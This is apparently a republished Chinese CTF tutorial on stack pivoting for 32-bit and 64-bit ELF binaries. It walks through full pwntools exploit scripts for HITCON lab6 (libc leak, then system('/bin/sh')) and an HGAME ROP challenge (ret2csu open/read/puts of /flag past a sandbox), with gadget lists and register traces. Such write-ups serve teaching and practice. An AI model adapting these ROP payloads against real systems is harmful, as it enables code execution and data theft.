锐客网

  1. 首页 > it技术 > >

32位以及64位栈迁移的具体分析与学习

前言
这次来学习下栈迁移技术吧，全片构成为先了解原理，然后再分别以 32位程序及64位程序以图文的形式来具体学习！
原理 栈迁移正如它所描述的，该技巧就是劫持栈指针指向攻击者所能控制的内存处，然后再在相应的位置进行 ROP。我们可利用该技巧来解决栈溢出空间大小不足的问题。
我们进入一个 函数的时候，会执行call指令
call func(); //push eip+4; push ebp; mov ebp,esp;
call func() 执行完要退出的时候要进行与call func相反的操作（恢复现场）维持栈平衡！
leave; //mov esp,ebp; pop ebp;
ret ; // pop eip
栈迁移的核心思想就是将栈 的esp 和 ebp 转移到一个输入不受长度限制的 且可控制 的 址处，通常是 bss 段地址！在最后ret 的时候如果我们能够控制得 了栈顶 esp指向的地址就想到于 控制了 程序执行流！
这里有个 很好的描述，建议大家可以去看下：
https://blog.csdn.net/yuanyunfeng3/article/details/51456049
32位程序 栈迁移 这里我拿 HITCON-Training-master 中的lab 6进行超详细的分析，希望能给在学这个内容的兴趣者们提供帮助！
file migration
ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked,
interpreter /lib/ld-,for GNU/Linux 2.6.32,
BuildID[sha1]=e65737a9201bfe28db6fe46f06d9428f5c814951, not stripped
checksec migration
Arch:i386-32-little
RELRO:Full RELRO
Stack:No canary found
NX:NX enabled
PIE:No PIE (0x8048000)
开启了 NX保护的32位的elf程序
拖入ida：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [esp+0h] [ebp-28h]
if ( count != 1337 )
exit(1);
++count;
setvbuf(_bss_start, 0, 2, 0);
puts("Try your best :");
return read(0, &buf, 0x40u); //存在栈溢出 漏洞
}
程序流程很简单我们想栈中最多输入 0x40 字节内容，然后停止 !程序不循环！
我们进入一个函数的时候，会执行 call 指令
call func(); //push eip+4; push ebp; mov ebp,esp;
call func()执行完要退出的时候要进行与call func 相 反 的 操作（ 恢复现场）维持栈平衡！
leave; //mov esp,ebp; pop ebp;
ret ; // pop eip
我们首先先把完整的exp放上来然后分步详细地对其进行讲解！
#coding:utf8
from pwn import*
context.log_level="debug"
p = process('./migration')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
elf = ELF('./migration')
read_plt = elf.symbols['read']
puts_plt = elf.symbols['puts']
puts_got = elf.got['puts']
read_got = elf.got['read']
buf = elf.bss() + 0x500
buf2 = elf.bss() + 0x400
pop_ebx_ret = 0x804836d
pop_esi_edi_ebp_ret = 0x8048569
leave_ret = 0x08048418#ida 中 查看
puts_libc = libc.symbols['puts']
system_libc = libc.symbols['system']
binsh_libc = libc.search("/bin/sh").next()
log.info("read_plt:"+hex(read_plt))
log.info("puts_plt:"+hex(puts_plt))
log.info("puts_got:"+hex(puts_got))
log.info("read_got:"+hex(read_got))
log.info("buf:"+hex(buf))
log.info("buf2:"+hex(buf2))
log.info("pop_ebx_ret:"+hex(pop_ebx_ret))
log.info("pop_esi_edi_ebp_ret:"+hex(pop_esi_edi_ebp_ret))
log.info("leave_ret:"+hex(leave_ret))
log.info("puts_libc:"+hex(puts_libc))
log.info("system_libc:"+hex(system_libc))
#gdb.attach(p,'b *0x080484EA')
p.recvuntil("Try your best :\n")
log.info("***第一个讲解：将栈中 esp,ebp 转移到bss 地址 处*********************")
payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)
p.send(payload_1)
log.info("*****第二个讲解：泄露libc_base********************")
payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload_2+= p32(0) + p32(buf2) + p32(0x100)
p.send(payload_2)
puts_add = u32(p.recv(4))
libc_base = puts_add - puts_libc
log.info("libc_base:"+hex(libc_base))
system_add = libc_base + system_libc
log.info("system_add:"+hex(system_add))
binsh_addr = libc_base + binsh_libc
log.info("**************获得shell*********************")
payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)
p.send(payload_3)
p.interactive()
这个程序的gadget很少，但刚刚够用：
$ ROPgadget --binary migration --only 'pop|ret'
Gadgets information
============================================================
0x0804856b : pop ebp ; ret
0x08048568 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804836d : pop ebx ; ret
0x0804856a : pop edi ; pop ebp ; ret
0x08048569 : pop esi ; pop edi ; pop ebp ; ret
0x08048356 : ret
0x0804842e : ret 0xeac1
Unique gadgets found: 7
运行后的
32位以及64位栈迁移的具体分析与学习
文章图片
讲解1
payload_1 = 'a'*0x28 + p32(buf) + p32(read_plt) + p32(leave_ret) + p32(0) + p32(buf) + p32(0x100)
p.send(payload_1)
我们可以往栈上输入0x40字节内容，从ida中可以知道我们其实当输入 0x28字节内容之后，如果再输入就是要覆盖ebp地址了，接着是ret_addr.输入输入到栈上的对应关系就是这个样子：
32位以及64位栈迁移的具体分析与学习
文章图片
EBP：0xff8845b8
ESP:0xff884590
leave; //mov esp,ebp; pop ebp;
ret ; // pop eip因为pop出栈 了，所以ESP地址在这里 也会 +4
所以，执行完 这两条命令后，
EBP：0x804a50c//即目前我们 ebp 已经被转移到 bss_addr+0x500处了！
ESP:0xff8845b8+4 +4=0xff8845c0
32位以及64位栈迁移的具体分析与学习
文章图片
注意，执行完后 ret 指令 使得 程序返回到了0x8048380 处然后 执行read_plt(0,buf,0x100) 去了 ！
所以 我们是在向 buf：0x804a50c（ bss_addr+0x500）即 ebp 地址处 写入 payload_2 后才会 返回 ret去执行当前栈顶地址处的 leave//这也是 图中说 待会的 原因！
所以此时 0x804a50c处已经被写入了buf2 = elf.bss() + 0x400即 0x804a40c
32位以及64位栈迁移的具体分析与学习
文章图片
然后去执行栈顶处的 leave
leave; //mov esp,ebp; pop ebp;
ret ; // pop eip因为pop出栈 了，所以ESP地址在这里 也会 +4
猜测执行过后的结果为下面的样子：
esp: 0x804a50c - 4-4 = 0x804a514
ebp: 0x804a40c
看下面截图，发现 符合我们的推测！
图中 0x804838c（put_plt 的地址） 是我们 payload_2中发送的内容 。
32位以及64位栈迁移的具体分析与学习
文章图片
这里我们要特别注意一点，在leave 执行的时候，（看它本质）当 mov esp,ebp 后就已经实现将 esp 控制在 ebp处了，即再执行 ret 命令的话，就已经完成了 将eip 控制在 一个输入不受长度限制且可 rwx 处的地址了，那么 此时 leave 本质中的 pop ebp 就是多余的了吗？
嗯...,因为目前我们还只是完成了栈的一次 迁移，还没有进行攻击呢，要想攻击，我们还得 获得 libc 加载的基地址，继而拿到 system 函数加载地址和 '/bin/sh\x00'字符串 地址才可以 ！
于是我们需要接着利用这个pop ebp 指令，向 ebp 传值 buf2（0x8049fe8）接着迁移，目的是利用 puts函数泄露 puts_got.
讲解二：
payload_2 = p32(buf2) + p32(puts_plt) + p32(pop_ebx_ret) + p32(puts_got) + p32(read_plt) + p32(leave_ret)
payload_2+= p32(0) + p32(buf2) + p32(0x100)
p.send(payload_2)
顺着上面接着分析，此时程序在执行 puts(puts_got) ， 我们可以利用程序输出的结果 （puts函数在内存中的加载地址）进而计算出 libc加载的基地址（上面说过了，哈）。
这里的 pop_ebx_ret 的作用呢 其实就是把 p32(puts_got) 给从栈中 取出来，进而实现接下来执行read_plt(0,buf,0x100) 函数 构造 最后的攻击代码，即我们的 payload_3。
payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)
所以再当执行到 payload_2 中的 leave_ret 时buf2 （0x804a40c）处 即 ebp的地址已经 写入了 0x804a50c （buf）
32位以及64位栈迁移的具体分析与学习
文章图片
read函数结束后，我们又要接着执行，我们构造的leave_ret 了
32位以及64位栈迁移的具体分析与学习
文章图片
leave; //mov esp,ebp; pop ebp;
ret ; // pop eip因为pop出栈 了，所以ESP地址在这里 也会 +4
推测执行后：
ebp=0x804a50c
esp= 0x804a40c+4 +4 =0x804a414
32位以及64位栈迁移的具体分析与学习
文章图片
这里leave 本质中的pop ebp 就是其实 就是把 0x804a50c又赋值给ebp 了
我们最后来看下payload_3 leave指令完成后 ret当 栈顶 system_addr处，
payload_3 = p32(buf) + p32(system_add) + 'bbbb' + p32(binsh_addr)
即可以直接执行拿到shell 了！
32位以及64位栈迁移的具体分析与学习
文章图片
64位 栈迁移 理解 32的栈迁移后 64位 就容易理解了
它们原理其实和32位程序差不多，最大的区别应该就是它们调用函数时传参的方式不一样！
32位 是将参数 依次 从右向左 放入栈中 。
64位程序 传参的时候是从左到右 依次放入 寄存器：rdi，rsi，rdx，rcx，r8，r9 ，当参数大于等于 7 的时候 后面参数会依次 从右向左 放入栈中！
在64位栈迁移的姿势常会使用libc_csu_init 中的 gadgets，下面这题hgame week3 中的 ROP 就是这样！这里就主要讲其中的栈迁移的部分了！
这题其实 我没有做得出来，是比赛结束后看大考捞的 博客才 复现出来的，我太弱了！参考：大佬博客！！！
https://fmyy.pro/2020/01/22/Competition/HGame/#Week-THR
首先拖入ida：
32位以及64位栈迁移的具体分析与学习
文章图片
ida 中看，我们可以执行两次输入，第一次 向bss 段做多可写0x100字节的内容！
第二次向栈中 最多 输入 0x60字节内容，存在 栈溢出，可覆盖
rbp 和ret_addr但因为沙箱 原因，禁用 用了execve 函数，我们于是 可以利用利用ORW直接读flag文件，溢出空间 但太小这里我们 考虑 栈迁移 到bss 段上然后在rop攻击！
首先打开服务器中flag文件然后再把里面的内容给 打印到屏幕上！
#coding:utf8
from pwn import *
context(arch="amd64",os='linux',log_level="debug")
p = process('./ROP')
#p = remote('47.103.214.163',20300)
elf = ELF('ROP')
puts_plt = elf.plt['puts']
open_got = elf.got['open']
read_got = elf.got['read']
leave_ret = 0x40090D
buf = 0x6010A0#ida
pop_rdi_ret = 0x400A43#ROPgadget --binary ROP --only "pop|ret"
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x400A3A# csu_gadget 第二段
FLAG = elf.bss()+0x200
print hex(elf.bss())
log.info("puts_plt:"+ str(hex(puts_plt)))
log.info("open_got:"+ str(hex(open_got)))
log.info("read_got:"+ str(hex(read_got)))
log.info("leave_ret:"+ str(hex(leave_ret)))
log.info("buf:"+ str(hex(buf)))
log.info("pop_rdi_ret:"+ str(hex(pop_rdi_ret)))
log.info("pop_rbx_rbp_r12_r13_r14_r15_ret:"+ str(hex(pop_rbx_rbp_r12_r13_r14_r15_ret)))
log.info("FLAG:"+ str(hex(FLAG)))
print "****************************************************************************************"
#gdb.attach(p)
p.recvuntil('It's just a little bit harder...Do you think so?')
payload = '/flag\x00\x00\x00'
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)
payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)
p.send(payload)
p.recvuntil('\n')
p.recvuntil('\n')
payload_2 = 'U'*0x50 + p64(buf)+p64(leave_ret)#栈迁移 关键！是不是和32 位的栈迁移利用惊奇的相似，利用原理都是一样的
p.sendline(payload_2)
p.recv(100)
#p.close()
p.interactive()
ida中 最后一个read 函数 存在栈溢出漏洞，我们控制 ebp从而进行栈迁移当我们发送payload_2 后
buf 就覆盖了原本的 rbp 的内容，而leave_ret 就覆盖了原本的ret_addr 处的内容 ！看下图，
32位以及64位栈迁移的具体分析与学习
文章图片
这里便是实现了执行 2 次 leave,（在本来程序结束前有执行了一次）达到栈迁移的实现！
执行第一次leave的 时候重点观察上图中 黄色框框 中的变化！
leave; //mov rsp,rep; pop rbp; 因为pop ebp，所以 rsp 要+8
ret ; // pop rip
当执行过leave后推测
rsp：rsp=0x7ffda85406b0+8 即 0x7ffda85406b8
rbp：rbp = 0x6010a0
验证下：


32位以及64位栈迁移的具体分析与学习
文章图片
哦哦，上图执行ret后，因为本质 是pop rip ，所以rsp + 8
rsp：rsp=0x7ffda85406b8+8 即 0x7ffda85406c0
rbp：rbp = 0x6010a0
所以 当接下来 ret 到栈顶位置指向的地址 0x40090d ，便又要执行一次 leave，在这个leave后仍然 有个 ret 。
继续推测下 执行这个（我们构造的） leave 后的 rsp 和 rbp 吧 ！
rsp：rsp=0x6010a0+8 即 0x6010a8
rbp：rbp = 0x67616c662f//此为 第一个payload 第一个的 8字节内容
然后 ret
rsp：rsp=0x6010a8+8 即 0x6010b0//(buf+16)
rbp：rbp = 0x67616c662f//此为 第一个payload 第一个的 8字节内容
所以，基于上面分析，再执行一次 leave 便可以将使得 rsp 的地址位于 bss段上去了，然后再ret 返回到 rsp执行到地址内容，就实现了一次栈迁移了。
现在的时候，我们就可以几乎没有输入长度的限制而去构造rop了，然后便可以利用rop 攻击链把flag中 文件open到 文件操作符 4 中（因为前面程序已经用 open 打开一次some_life_experience了），
为了接下来大家理解学习通常 ，我把上第一个 payload放在这里
payload = '/flag\x00\x00\x00'
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret)+p64(0)+p64(1)+p64(open_got)+p64(0)+p64(0)+p64(buf)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)
payload += p64(pop_rbx_rbp_r12_r13_r14_r15_ret+2)+p64(read_got)+p64(0x20)+p64(FLAG)+p64(4)+p64(0x400A20)+2*p64(0)+p64(1)+p64(0)*(6+1-3)
payload += p64(pop_rdi_ret)+p64(FLAG)+p64(puts_plt)
这个主要就说再说下payload中的 0x400A20其实就是 libc_csu_init gadget中的0x400A44 返回到的地址处！为了实现对参数的赋值。这是栈溢出中的ret2csu 具体 可在ctfwiki中 学下
https://ctf-wiki.github.io/ctf-wiki/pwn/linux/stackoverflow/medium-rop-zh/
32位以及64位栈迁移的具体分析与学习
文章图片
400a3a处 执行完 ret 返回 到400A20
32位以及64位栈迁移的具体分析与学习
文章图片
到call qword[r12 + rbx*8] 因为 rbx被我们值为 0了 相当于 执行 open（"/flag",0,0）了。
所以 会返回4赋值给rax ，因为 在程序最开始 已经使用open函数打开 一次some_life_experience文件了。
因为 rbx+1 =rbp 所以在地址 0x400a29处并 不会进行 call 操作，继续向下 执行，也就是意味 着我们可以再次构造。
就是构造 再从文件 操作符 4 read 到flag 地址处，最后再调用puts 函数 把它 打印到屏幕上！因为 主要讲 栈迁移的，后面就不说了，大家可以自己调试学习下。
多调试
这次 主要是学习栈迁移的，建议 初学者的话，亲自多调试调试或者 在纸上 用笔 画一画，更有助理解，我最初学这部分时也是迷瞪好久，希望可以 这篇可以 给你们带来些 帮助！
32位&64位栈迁移的学习相关实验：高级栈溢出技术—ROP实战

【32位以及64位栈迁移的具体分析与学习】http://www.hetianlab.com/cour.do?w=1&c=CCID31b0-fe03-4277-8e2f-504c4960d33f

    推荐阅读


    上一篇：驱动调试小结

    下一篇：宇文念